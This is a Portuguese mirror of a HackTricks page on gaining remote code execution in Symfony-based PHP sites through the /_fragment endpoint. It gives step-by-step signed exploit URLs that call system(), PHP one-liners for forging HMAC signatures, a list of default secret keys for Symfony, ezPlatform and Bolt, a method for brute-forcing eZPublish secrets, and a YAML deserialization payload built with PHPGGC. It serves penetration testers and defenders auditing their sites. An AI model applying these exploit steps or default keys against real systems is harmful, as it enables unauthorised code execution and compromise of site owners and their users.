mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-20 10:03:51 +00:00
537 lines
33 KiB
Markdown
537 lines
33 KiB
Markdown
# Symfony
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras formas de apoiar o HackTricks:
|
|
|
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## Introdução <a href="#introduction" id="introduction"></a>
|
|
|
|
Desde sua criação em 2008, o uso do framework [Symfony](https://symfony.com) tem crescido cada vez mais em aplicações baseadas em PHP. Agora é um componente central de muitos CMSs conhecidos, como [Drupal](https://www.drupal.org), [Joomla!](https://www.joomla.org), [eZPlatform](https://ezplatform.com) (anteriormente eZPublish), ou [Bolt](https://bolt.cm), e é frequentemente usado para construir sites personalizados.
|
|
|
|
Um dos recursos integrados do Symfony, feito para lidar com [ESI (Edge-Side Includes)](https://en.wikipedia.org/wiki/Edge\_Side\_Includes), é a classe [`FragmentListener`](https://github.com/symfony/symfony/blob/5.1/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php). Essencialmente, quando alguém emite uma solicitação para `/_fragment`, este listener define atributos da solicitação a partir de parâmetros GET fornecidos. Como isso permite **executar código PHP arbitrário** (_mais sobre isso mais tarde_), a solicitação deve ser assinada usando um valor HMAC. A chave criptográfica secreta do HMAC é armazenada sob um valor de configuração do Symfony chamado `secret`.
|
|
|
|
Este valor de configuração, `secret`, também é usado, por exemplo, para construir tokens CSRF e tokens de lembrar-me. Dada a sua importância, este valor deve obviamente ser muito aleatório.
|
|
|
|
Infelizmente, descobrimos que muitas vezes, o `secret` tem um **valor padrão**, ou existem **formas de obter o valor, forçá-lo offline, ou simplesmente contornar a verificação de segurança com a qual está envolvido**. Isso afeta notavelmente o Bolt, eZPlatform e eZPublish.
|
|
|
|
Embora isso possa parecer um problema de configuração benigno, descobrimos que valores padrão, forçáveis ou previsíveis estão **muito, muito frequentemente presentes** nos CMSs mencionados, bem como em aplicações personalizadas. Isso se deve principalmente a não enfatizar sua importância na documentação ou nos guias de instalação.
|
|
|
|
Além disso, um atacante pode escalar vulnerabilidades de menor impacto para ler o `secret` (através de uma divulgação de arquivo), contornar o processo de assinatura de `/_fragment` (usando um SSRF) e até vazá-lo através de `phpinfo()`!
|
|
|
|
Neste post, descreveremos como o `secret` pode ser obtido em vários CMSs e no framework base, e como obter execução de código usando o referido `secret`.
|
|
|
|
## Um pouco de história <a href="#a-little-bit-of-history" id="a-little-bit-of-history"></a>
|
|
|
|
Sendo um framework moderno, o Symfony teve que lidar com a geração de subpartes de uma solicitação desde sua criação até os nossos tempos. Antes de `/_fragment`, havia `/_internal` e `/_proxy`, que faziam essencialmente a mesma coisa. Isso resultou em muitas vulnerabilidades ao longo dos anos: [CVE-2012-6432](https://symfony.com/blog/security-release-symfony-2-0-20-and-2-1-5-released#cve-2012-6432-code-execution-vulnerability-via-the-internal-routes), [CVE-2014-5245](https://symfony.com/blog/cve-2014-5245-direct-access-of-esi-urls-behind-a-trusted-proxy), e [CVE-2015-4050](https://symfony.com/blog/cve-2015-4050-esi-unauthorized-access), por exemplo.
|
|
|
|
Desde o Symfony 4, o `secret` é gerado na instalação, e a página `/_fragment` é desativada por padrão. Poder-se-ia pensar, portanto, que a conjunção de ambos, ter um `secret` fraco e `/_fragment` habilitado, seria rara. Não é: muitos frameworks dependem de versões antigas do Symfony (até a 2.x ainda é muito presente), e implementam um valor `secret` estático ou o geram de forma inadequada. Além disso, muitos dependem do ESI e, como tal, habilitam a página `/_fragment`. Além disso, como veremos, outras vulnerabilidades de menor impacto podem permitir despejar o `secret`, mesmo que tenha sido gerado de forma segura.
|
|
|
|
## Executando código com a ajuda de `secret` <a href="#executing-code-with-the-help-of-secret" id="executing-code-with-the-help-of-secret"></a>
|
|
|
|
Primeiro demonstraremos como um atacante, tendo conhecimento do valor de configuração `secret`, pode obter execução de código. Isso é feito para a última versão de `symfony/http-kernel`, mas é semelhante para outras versões.
|
|
|
|
### Usando `/_fragment` para executar código arbitrário <a href="#using-_fragment-to-run-arbitrary-code" id="using-_fragment-to-run-arbitrary-code"></a>
|
|
|
|
Como mencionado anteriormente, faremos uso da página `/_fragment`.
|
|
```php
|
|
# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php
|
|
|
|
class FragmentListener implements EventSubscriberInterface
|
|
{
|
|
public function onKernelRequest(RequestEvent $event)
|
|
{
|
|
$request = $event->getRequest();
|
|
|
|
# [1]
|
|
if ($this->fragmentPath !== rawurldecode($request->getPathInfo())) {
|
|
return;
|
|
}
|
|
|
|
if ($request->attributes->has('_controller')) {
|
|
// Is a sub-request: no need to parse _path but it should still be removed from query parameters as below.
|
|
$request->query->remove('_path');
|
|
|
|
return;
|
|
}
|
|
|
|
# [2]
|
|
if ($event->isMasterRequest()) {
|
|
$this->validateRequest($request);
|
|
}
|
|
|
|
# [3]
|
|
parse_str($request->query->get('_path', ''), $attributes);
|
|
$request->attributes->add($attributes);
|
|
$request->attributes->set('_route_params', array_replace($request->attributes->get('_route_params', []), $attributes));
|
|
$request->query->remove('_path');
|
|
}
|
|
}
|
|
```
|
|
`FragmentListener:onKernelRequest` será executado em cada solicitação: se o caminho da solicitação for `/_fragment` \[1], o método verificará primeiro se a solicitação é válida (_ou seja_, devidamente assinada) e, caso contrário, gerará uma exceção \[2]. Se as verificações de segurança forem bem-sucedidas, ele analisará o parâmetro `_path` codificado na URL e definirá os atributos de `$request` de acordo.
|
|
|
|
Os atributos de solicitação não devem ser confundidos com parâmetros de solicitação HTTP: são valores internos, mantidos pelo Symfony, que geralmente não podem ser especificados por um usuário. Um desses atributos de solicitação é `_controller`, que especifica qual controlador do Symfony (uma tupla _(classe, método)_ ou simplesmente uma _função_) deve ser chamado. Atributos cujo nome não começa com `_` são argumentos que serão fornecidos ao controlador. Por exemplo, se quiséssemos chamar este método:
|
|
```php
|
|
class SomeClass
|
|
{
|
|
public function someMethod($firstMethodParam, $secondMethodParam)
|
|
{
|
|
...
|
|
}
|
|
}
|
|
```
|
|
Definiríamos `_path` para:
|
|
|
|
`_controller=SomeClass::someMethod&firstMethodParam=test1&secondMethodParam=test2`
|
|
|
|
A requisição ficaria assim:
|
|
|
|
`http://symfony-site.com/_fragment?_path=_controller%3DSomeClass%253A%253AsomeMethod%26firstMethodParam%3Dtest1%26secondMethodParam%3Dtest2&_hash=...`
|
|
|
|
Essencialmente, isso permite chamar qualquer função ou método de qualquer classe, com qualquer parâmetro. Dada a infinidade de classes que o Symfony possui, **conseguir execução de código é trivial**. Podemos, por exemplo, chamar `system()`:
|
|
|
|
`http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=...`
|
|
|
|
_Chamar system não funcionará todas as vezes: consulte a seção Exploit para mais detalhes sobre as sutilezas da exploração._
|
|
|
|
Um problema permanece: como o Symfony verifica a assinatura da requisição?
|
|
|
|
### Assinando a URL <a href="#signing-the-url" id="signing-the-url"></a>
|
|
|
|
Para verificar a assinatura de uma URL, um HMAC é calculado contra a _URL completa_. O hash obtido é então comparado com o especificado pelo usuário.
|
|
|
|
Em termos de código, isso é feito em dois locais:
|
|
```php
|
|
# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php
|
|
|
|
class FragmentListener implements EventSubscriberInterface
|
|
{
|
|
protected function validateRequest(Request $request)
|
|
{
|
|
// is the Request safe?
|
|
if (!$request->isMethodSafe()) {
|
|
throw new AccessDeniedHttpException();
|
|
}
|
|
|
|
// is the Request signed?
|
|
if ($this->signer->checkRequest($request)) {
|
|
return;
|
|
}
|
|
|
|
# [3]
|
|
throw new AccessDeniedHttpException();
|
|
}
|
|
}
|
|
|
|
# ./vendor/symfony/http-kernel/UriSigner.php
|
|
|
|
class UriSigner
|
|
{
|
|
public function checkRequest(Request $request): bool
|
|
{
|
|
$qs = ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : '';
|
|
|
|
// we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
|
|
return $this->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().$qs);
|
|
}
|
|
|
|
/**
|
|
* Checks that a URI contains the correct hash.
|
|
*
|
|
* @return bool True if the URI is signed correctly, false otherwise
|
|
*/
|
|
public function check(string $uri)
|
|
{
|
|
$url = parse_url($uri);
|
|
if (isset($url['query'])) {
|
|
parse_str($url['query'], $params);
|
|
} else {
|
|
$params = [];
|
|
}
|
|
|
|
if (empty($params[$this->parameter])) {
|
|
return false;
|
|
}
|
|
|
|
$hash = $params[$this->parameter];
|
|
unset($params[$this->parameter]);
|
|
|
|
# [2]
|
|
return hash_equals($this->computeHash($this->buildUrl($url, $params)), $hash);
|
|
}
|
|
|
|
private function computeHash(string $uri): string
|
|
{
|
|
# [1]
|
|
return base64_encode(hash_hmac('sha256', $uri, $this->secret, true));
|
|
}
|
|
|
|
private function buildUrl(array $url, array $params = []): string
|
|
{
|
|
ksort($params, SORT_STRING);
|
|
$url['query'] = http_build_query($params, '', '&');
|
|
|
|
$scheme = isset($url['scheme']) ? $url['scheme'].'://' : '';
|
|
$host = isset($url['host']) ? $url['host'] : '';
|
|
$port = isset($url['port']) ? ':'.$url['port'] : '';
|
|
$user = isset($url['user']) ? $url['user'] : '';
|
|
$pass = isset($url['pass']) ? ':'.$url['pass'] : '';
|
|
$pass = ($user || $pass) ? "$pass@" : '';
|
|
$path = isset($url['path']) ? $url['path'] : '';
|
|
$query = isset($url['query']) && $url['query'] ? '?'.$url['query'] : '';
|
|
$fragment = isset($url['fragment']) ? '#'.$url['fragment'] : '';
|
|
|
|
return $scheme.$user.$pass.$host.$port.$path.$query.$fragment;
|
|
}
|
|
}
|
|
```
|
|
Em resumo, o Symfony extrai o parâmetro GET `_hash`, reconstrói a URL completa, por exemplo `https://symfony-site.com/_fragment?_path=controller%3d...%26argument1=test%26...`, calcula um HMAC desta URL usando o `secret` como chave \[1], e compara-o com o valor de hash fornecido \[2]. Se eles não coincidirem, uma exceção `AccessDeniedHttpException` é levantada \[3], resultando em um erro `403`.
|
|
|
|
### Exemplo <a href="#example" id="example"></a>
|
|
|
|
Para testar isso, vamos configurar um ambiente de teste e extrair o secret (neste caso, gerado aleatoriamente).
|
|
```
|
|
$ git clone https://github.com/symfony/skeleton.git
|
|
$ cd skeleton
|
|
$ composer install
|
|
$ sed -i -E 's/#(esi|fragment)/\1/g' config/packages/framework.yaml # Enable ESI/fragment
|
|
$ grep -F APP_SECRET .env # Find secret
|
|
APP_SECRET=50c8215b436ebfcc1d568effb624a40e
|
|
$ cd public
|
|
$ php -S 0:8000
|
|
```
|
|
Agora, ao visitar `http://localhost:8000/_fragment`, obtemos um `403`. Vamos agora tentar fornecer uma assinatura válida:
|
|
```
|
|
$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', 'http://localhost:8000/_fragment', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
|
|
lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D
|
|
```
|
|
Ao verificar `http://localhost:8000/_fragment?_hash=lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D`, agora temos um código de status `404`. A assinatura estava correta, mas não especificamos nenhum atributo de requisição, então o Symfony não encontra nosso controlador.
|
|
|
|
Uma vez que podemos chamar qualquer método, com qualquer argumento, podemos, por exemplo, escolher `system($command, $return_value)` e fornecer um payload assim:
|
|
```
|
|
$ page="http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull"
|
|
$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', '$page', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
|
|
GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D
|
|
```
|
|
Podemos agora visitar a URL do exploit: `http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D`.
|
|
|
|
Apesar do erro `500`, podemos ver que **nosso comando foi executado**.
|
|
|
|
_RCE usando fragment_
|
|
|
|
|
|
|
|
## Encontrando segredos <a href="#finding-secrets" id="finding-secrets"></a>
|
|
|
|
Novamente: nada disso importaria se os segredos não pudessem ser obtidos. Muitas vezes, eles podem. Descreveremos várias maneiras de obter execução de código sem conhecimento prévio.
|
|
|
|
### Através de vulnerabilidades <a href="#through-vulnerabilities" id="through-vulnerabilities"></a>
|
|
|
|
Vamos começar com o óbvio: usar vulnerabilidades de menor impacto para obter o segredo.
|
|
|
|
#### Leitura de arquivo <a href="#file-read" id="file-read"></a>
|
|
|
|
Evidentemente, uma vulnerabilidade de leitura de arquivo poderia ser usada para ler os seguintes arquivos e obter `secret`:
|
|
|
|
* `app/config/parameters.yml`
|
|
* `.env`
|
|
|
|
_Como exemplo, algumas barras de ferramentas de depuração do Symfony permitem ler arquivos._
|
|
|
|
#### PHPinfo <a href="#phpinfo" id="phpinfo"></a>
|
|
|
|
Nas versões recentes do symfony (3.x), `secret` é armazenado em `.env` como `APP_SECRET`. Uma vez que é importado como uma variável de ambiente, eles podem ser vistos através de uma página `phpinfo()`.
|
|
|
|
_Vazamento de APP\_SECRET através de phpinfo_
|
|
|
|
|
|
|
|
Isso pode ser feito notavelmente através do pacote profiler do Symfony, como demonstrado pela captura de tela.
|
|
|
|
#### SSRF / IP spoofing (CVE-2014-5245) <a href="#ssrf-ip-spoofing-cve-2014-5245" id="ssrf-ip-spoofing-cve-2014-5245"></a>
|
|
|
|
O código por trás do `FragmentListener` evoluiu ao longo dos anos: até a versão _2.5.3_, quando a solicitação vinha de um proxy confiável (leia-se: `localhost`), ela seria considerada segura e, como tal, o hash não seria verificado. Um SSRF, por exemplo, pode permitir executar código imediatamente, independentemente de ter `secret` ou não. Isso afeta notavelmente o eZPublish até 2014.7.
|
|
```php
|
|
# ./vendor/symfony/symfony/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php
|
|
# Symfony 2.3.18
|
|
|
|
class FragmentListener implements EventSubscriberInterface
|
|
{
|
|
protected function validateRequest(Request $request)
|
|
{
|
|
// is the Request safe?
|
|
if (!$request->isMethodSafe()) {
|
|
throw new AccessDeniedHttpException();
|
|
}
|
|
|
|
// does the Request come from a trusted IP?
|
|
$trustedIps = array_merge($this->getLocalIpAddresses(), $request->getTrustedProxies());
|
|
$remoteAddress = $request->server->get('REMOTE_ADDR');
|
|
if (IpUtils::checkIp($remoteAddress, $trustedIps)) {
|
|
return;
|
|
}
|
|
|
|
// is the Request signed?
|
|
// we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
|
|
if ($this->signer->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().(null !== ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : ''))) {
|
|
return;
|
|
}
|
|
|
|
throw new AccessDeniedHttpException();
|
|
}
|
|
|
|
protected function getLocalIpAddresses()
|
|
{
|
|
return array('127.0.0.1', 'fe80::1', '::1');
|
|
}
|
|
```
|
|
Admitidamente, todas essas técnicas requerem outra vulnerabilidade. Vamos explorar um vetor ainda melhor: valores padrão.
|
|
|
|
### Através de valores padrão <a href="#through-default-values" id="through-default-values"></a>
|
|
|
|
#### Symfony <= 3.4.43: `ThisTokenIsNotSoSecretChangeIt` <a href="#symfony-3443-thistokenisnotsosecretchangeit" id="symfony-3443-thistokenisnotsosecretchangeit"></a>
|
|
|
|
Ao configurar um site Symfony, o primeiro passo é instalar o esqueleto [symfony-standard](https://github.com/symfony/symfony-standard). Quando instalado, uma solicitação pede alguns valores de configuração. Por padrão, a chave é `ThisTokenIsNotSoSecretChangeIt`.
|
|
|
|
_Instalação do Symfony através do composer_
|
|
|
|
|
|
|
|
Nas versões posteriores (4+), a chave secreta é gerada de forma segura.
|
|
|
|
#### ezPlatform 3.x (atual): `ff6dc61a329dc96652bb092ec58981f7` <a href="#ezplatform-3x-latest-ff6dc61a329dc96652bb092ec58981f7" id="ezplatform-3x-latest-ff6dc61a329dc96652bb092ec58981f7"></a>
|
|
|
|
[ezPlatform](https://ezplatform.com), o sucessor do [ezPublish](https://en.wikipedia.org/wiki/EZ\_Publish), ainda utiliza Symfony. Em 10 de junho de 2019, um [commit](https://github.com/ezsystems/ezplatform/commit/974f2a70d9d0507ba7ca17226693b1a4967f23cf#diff-f579cccc964135c7d644c7b2d3b0d3ecR59) definiu a chave padrão como `ff6dc61a329dc96652bb092ec58981f7`. As versões vulneráveis vão de 3.0-alpha1 até 3.1.1 (atual).
|
|
|
|
Embora a [documentação](https://doc.ezplatform.com/en/latest/getting\_started/install\_ez\_platform/#change-installation-parameters) afirme que o segredo deve ser alterado, isso não é imposto.
|
|
|
|
#### ezPlatform 2.x: `ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt` <a href="#ezplatform-2x-thisezplatformtokenisnotsosecret_pleasechangeit" id="ezplatform-2x-thisezplatformtokenisnotsosecret_pleasechangeit"></a>
|
|
|
|
Como no esqueleto do Symfony, você será solicitado a inserir um segredo durante a instalação. O valor padrão é `ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt`.
|
|
|
|
#### Bolt CMS <= 3.7 (atual): `md5(__DIR__)` <a href="#bolt-cms-37-latest-md5__dir__" id="bolt-cms-37-latest-md5__dir__"></a>
|
|
|
|
[Bolt CMS](https://bolt.cm) utiliza [Silex](https://github.com/silexphp/Silex), um micro-framework obsoleto baseado em Symfony. Ele configura a chave secreta usando este cálculo:
|
|
```php
|
|
# ./vendor/silex/silex/src/Silex/Provider/HttpFragmentServiceProvider.php
|
|
$app['uri_signer.secret'] = md5(__DIR__);
|
|
|
|
# ./vendor/silex/silex/src/Silex/Provider/FormServiceProvider.php
|
|
$app['form.secret'] = md5(__DIR__);
|
|
```
|
|
Como tal, pode-se adivinhar o segredo ou usar uma vulnerabilidade de Divulgação Completa do Caminho para calculá-lo.
|
|
|
|
Se você não teve sucesso com chaves secretas padrão, não desanime: existem outras maneiras.
|
|
|
|
### Bruteforce <a href="#bruteforce" id="bruteforce"></a>
|
|
|
|
Uma vez que o segredo é frequentemente definido manualmente (ao contrário de gerado aleatoriamente), as pessoas costumam usar uma frase-senha em vez de um valor aleatório seguro, o que o torna passível de bruteforce se tivermos um hash para realizar o bruteforce contra ele. Obviamente, uma URL válida `/_fragment`, como uma gerada pelo Symfony, nos forneceria uma tupla de mensagem-hash válida para realizar o bruteforce do segredo.
|
|
|
|
_Uma solicitação válida para fragmento está incluída na resposta_
|
|
|
|
|
|
|
|
No início deste blogpost, dissemos que o segredo do Symfony tinha vários usos. Um desses usos é que ele também é usado para gerar tokens CSRF. Outro uso do `secret` é assinar cookies de lembre-me. Em alguns casos, um atacante pode usar seu próprio token CSRF ou cookie de lembre-me para realizar o bruteforce do valor de `secret`.
|
|
|
|
_A engenharia reversa da construção desses tokens é deixada como exercício para o leitor._
|
|
|
|
### Indo além: eZPublish <a href="#going-further-ezpublish" id="going-further-ezpublish"></a>
|
|
|
|
Como exemplo de como segredos podem ser bruteforçados para alcançar execução de código, veremos como podemos descobrir o segredo do eZPublish 2014.07.
|
|
|
|
#### Encontrando material para bruteforce <a href="#finding-bruteforce-material" id="finding-bruteforce-material"></a>
|
|
|
|
O eZPublish gera seus tokens CSRF assim:
|
|
```php
|
|
# ./ezpublish_legacy/extension/ezformtoken/event/ezxformtoken.php
|
|
self::$token = sha1( self::getSecret() . self::getIntention() . session_id() );
|
|
```
|
|
Para construir este token, o eZP usa dois valores que conhecemos, e o segredo: `getIntention()` é a ação que o usuário está tentando realizar (`authenticate`, por exemplo), `session_id()` é o ID da sessão PHP, e `getSecret()`, bem, é o `secret` do Symfony.
|
|
|
|
Uma vez que tokens CSRF podem ser encontrados em alguns formulários, agora temos o material para forçar bruscamente o segredo.
|
|
|
|
Infelizmente, o ezPublish incorporou um pacote da sensiolabs, [sensio/distribution-bundle](https://packagist.org/packages/sensio/distribution-bundle). Este pacote garante que a chave secreta seja aleatória. Ele a gera assim, durante a instalação:
|
|
```php
|
|
# ./vendor/sensio/distribution-bundle/Sensio/Bundle/DistributionBundle/Configurator/Step/SecretStep.php
|
|
|
|
private function generateRandomSecret()
|
|
{
|
|
return hash('sha1', uniqid(mt_rand()));
|
|
}
|
|
```
|
|
Isso parece muito difícil de forçar bruscamente: `mt_rand()` pode gerar 231 valores diferentes, e `uniqid()` é construído a partir do carimbo de data/hora atual (com microssegundos).
|
|
```php
|
|
// Simplified uniqid code
|
|
|
|
struct timeval tv;
|
|
gettimeofday(&tv, NULL);
|
|
return strpprintf(0, "%s%08x%05x", prefix, tv.tv_sec, tv.tv_usec);
|
|
```
|
|
#### Divulgando o timestamp <a href="#disclosing-the-timestamp" id="disclosing-the-timestamp"></a>
|
|
|
|
Felizmente, sabemos que esse segredo é gerado no último passo da instalação, logo após a configuração do site. Isso significa que provavelmente podemos vazar o timestamp usado para gerar esse hash.
|
|
|
|
Uma maneira de fazer isso é usando os logs (_ex._ `/var/log/storage.log`); pode-se vazar a primeira vez que uma entrada de cache foi criada. A entrada de cache é criada logo após a chamada de `generateRandomSecret()`.
|
|
|
|
_Conteúdo de exemplo de log: o timestamp é semelhante ao usado para calcular o segredo_
|
|
|
|
|
|
|
|
Se os logs não estiverem disponíveis, pode-se usar o motor de busca muito poderoso do eZPublish para encontrar o momento da criação do primeiro elemento do site. De fato, quando o site é criado, muitos timestamps são inseridos no banco de dados. Isso significa que o timestamp dos dados iniciais do site eZPublish é o mesmo usado para calcular `uniqid()`. Podemos procurar pelo _ContentObject_ `landing_page` e descobrir seu timestamp.
|
|
|
|
## Força bruta nos bits faltantes <a href="#bruteforcing-the-missing-bits" id="bruteforcing-the-missing-bits"></a>
|
|
|
|
Agora estamos cientes do timestamp usado para calcular o segredo, bem como de um hash da seguinte forma:
|
|
```php
|
|
$random_value = mt_rand();
|
|
$timestamp_hex = sprintf("%08x%05x", $known_timestamp, $microseconds);
|
|
$known_plaintext = '<intention><sessionID>';
|
|
$known_hash = sha1(sha1(mt_rand() . $timestamp_hex) . $known_plaintext);
|
|
```
|
|
Isso nos deixa com um total de 231 \* 106 possibilidades. Parece viável com [hashcat](https://hashcat.net) e um bom conjunto de GPUs, mas o hashcat não fornece um kernel `sha1(sha1($pass).$salt)`. Felizmente, nós o implementamos! Você pode encontrar [o pull-request aqui](https://github.com/hashcat/hashcat/pull/2536).
|
|
|
|
Usando nossa máquina de cracking, que possui 8 GPUs, podemos quebrar esse hash em _menos de 20 horas_.
|
|
|
|
Após obter o hash, podemos usar `/_fragment` para executar código.
|
|
|
|
## Conclusão <a href="#conclusion" id="conclusion"></a>
|
|
|
|
Symfony agora é um componente central de muitas aplicações PHP. Como tal, qualquer risco de segurança que afete o framework afeta muitos sites. Como demonstrado neste artigo, um segredo fraco ou uma vulnerabilidade de menor impacto permite que atacantes obtenham **execução remota de código**.
|
|
|
|
Como um membro da equipe azul, você deve verificar todos os seus sites dependentes do Symfony. Software atualizado não pode ser descartado por vulnerabilidades, já que a chave secreta é gerada na primeira instalação do produto. Portanto, se você criou um site baseado em Symfony-3.x há alguns anos e o manteve atualizado ao longo do tempo, é provável que a chave secreta ainda seja a padrão.
|
|
|
|
## Exploração <a href="#exploitation" id="exploitation"></a>
|
|
|
|
### Teoria <a href="#theory" id="theory"></a>
|
|
|
|
Por um lado, temos algumas preocupações ao explorar essa vulnerabilidade:
|
|
|
|
* O HMAC é calculado usando a **URL completa**. Se o site estiver atrás de um proxy reverso, precisamos usar a URL interna do serviço em vez daquela para a qual estamos enviando nosso payload. Por exemplo, a URL interna pode ser HTTP em vez de HTTPS.
|
|
* O algoritmo do HMAC mudou ao longo dos anos: era **SHA-1** antes e agora é **SHA-256**.
|
|
* Como o Symfony remove o parâmetro `_hash` da solicitação e, em seguida, gera a URL novamente, precisamos calcular o hash na mesma URL que ele faz.
|
|
* Muitos segredos podem ser usados, então precisamos verificar todos eles.
|
|
* Em algumas versões do PHP, não podemos chamar funções que têm parâmetros "por referência", como `system($command, &$return_value)`.
|
|
* Em algumas versões do Symfony, `_controller` não pode ser uma função, tem que ser um método. Precisamos encontrar um método Symfony que nos permita executar código.
|
|
|
|
Por outro lado, podemos tirar vantagem de algumas coisas:
|
|
|
|
* Acessar `/_fragment` sem parâmetros ou com um hash inválido deve retornar um `403`.
|
|
* Acessar `/_fragment` com um hash válido, mas sem um controlador válido, deve resultar em um `500`.
|
|
|
|
O último ponto nos permite testar valores secretos sem nos preocuparmos com qual função ou método vamos chamar depois.
|
|
|
|
### Prática <a href="#practice" id="practice"></a>
|
|
|
|
Digamos que estamos atacando `https://target.com/_fragment`. Para assinar corretamente uma URL, precisamos saber:
|
|
|
|
* URL interna: pode ser `https://target.com/_fragment`, ou talvez `http://target.com/_fragment`, ou algo completamente diferente (_ex._ `http://target.website.internal`), o que não podemos adivinhar
|
|
* Chave secreta: temos uma lista de chaves secretas usuais, como `ThisTokenIsNotSoSecretChangeIt`, `ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt`, etc.
|
|
* Algoritmo: SHA1 ou SHA256
|
|
|
|
Não precisamos nos preocupar com o payload efetivo (o conteúdo de `_path`) ainda, porque uma URL assinada corretamente não resultará em uma exceção `AccessDeniedHttpException` sendo lançada, e como tal não resultará em um `403`. O exploit, portanto, tentará cada combinação de `(algoritmo, URL, segredo)`, gerará uma URL e verificará se não resulta em um código de status `403`.
|
|
|
|
_Uma solicitação válida para `/_fragment`, sem o parâmetro `_path`_
|
|
|
|
|
|
|
|
Neste ponto, podemos assinar qualquer URL `/_fragment`, o que significa que é um RCE garantido. É apenas uma questão de o que chamar.
|
|
|
|
Então, precisamos descobrir se podemos chamar uma função diretamente, ou se precisamos usar um método de classe. Podemos primeiro tentar o primeiro caminho, mais direto, usando uma função como `phpinfo ([ int $what = INFO_ALL ] )` ([documentação](https://www.php.net/manual/en/function.phpinfo.php)). O parâmetro GET `_path` ficaria assim:
|
|
```
|
|
_controller=phpinfo
|
|
&what=-1
|
|
```
|
|
E a URL ficaria assim:
|
|
|
|
`http://target.com/_fragment?_path=_controller%3Dphpinfo%26what%3D-1&_hash=...`
|
|
|
|
Se a resposta HTTP exibir uma página `phpinfo()`, vencemos. Podemos então tentar usar outra função, como `assert`:
|
|
|
|
_Exemplo de saída usando `_controller=assert`_
|
|
|
|
|
|
|
|
Caso contrário, isso significa que precisaremos usar um método de classe em vez disso. Um bom candidato para isso é `Symfony\Component\Yaml\Inline::parse`, que é uma classe Symfony integrada e, como tal, está presente em sites Symfony.
|
|
|
|
Obviamente, este método analisa uma string de entrada YAML. O analisador [YAML](https://yaml.org) do Symfony suporta a tag `php/object`, que converterá uma string de entrada serializada em um objeto usando `unserialize()`. Isso nos permite usar nossa ferramenta PHP favorita, [PHPGGC](https://github.com/ambionics/phpggc)!
|
|
|
|
O protótipo do método mudou ao longo dos anos. Por exemplo, aqui estão três protótipos diferentes:
|
|
```
|
|
public static function parse($value, $flags, $references);
|
|
public static function parse($value, $exceptionOnInvalidType, $objectSupport);
|
|
public static function parse($value, $exceptionOnInvalidType, $objectSupport, $objectForMap, $references);
|
|
```
|
|
Em vez de construir `_path` para cada um destes, podemos tirar proveito do fato de que, se fornecermos um argumento cujo nome não corresponda ao protótipo do método, ele será ignorado. Podemos, portanto, adicionar todos os argumentos possíveis ao método, sem nos preocuparmos com o protótipo real.
|
|
|
|
Podemos, portanto, construir `_path` assim:
|
|
```
|
|
_controller=Symfony\Component\Yaml\Inline::parse
|
|
&value=!php/object O:32:"Monolog\Handler\SyslogUdpHandler":...
|
|
&flags=516
|
|
&exceptionOnInvalidType=0
|
|
&objectSupport=1
|
|
&objectForMap=0
|
|
&references=
|
|
&flags=516
|
|
```
|
|
Podemos tentar com `phpinfo()`, e ver se funciona. Se funcionar, podemos usar `system()` em vez disso.
|
|
|
|
_Saída de exemplo usando `Inline::parse` com um payload serializado_
|
|
|
|
|
|
|
|
O exploit, portanto, executará todas as possíveis combinações de variáveis e, em seguida, tentará os dois métodos de exploração. O código está disponível em [nosso GitHub](https://github.com/ambionics/symfony-exploits).
|
|
|
|
## Acessando informações do symfony /\_profiler
|
|
|
|
|
|
|
|
Como você vê na captura de tela acima, há um logo `sf` no canto inferior direito da página. Este logo é exibido quando o Symfony está no modo de depuração. Há casos em que este logo não aparece, então tente acessar `/_profiler` e você verá a página como mostrado abaixo
|
|
|
|
|
|
|
|
Este recurso é chamado Symfony Profiler, e não há muita informação sobre este recurso na internet. A intenção deste recurso é cristalina; ele ajuda você a depurar quando há um erro ou bug. Claro, este recurso só pode ser usado quando o modo de depuração está habilitado.
|
|
|
|
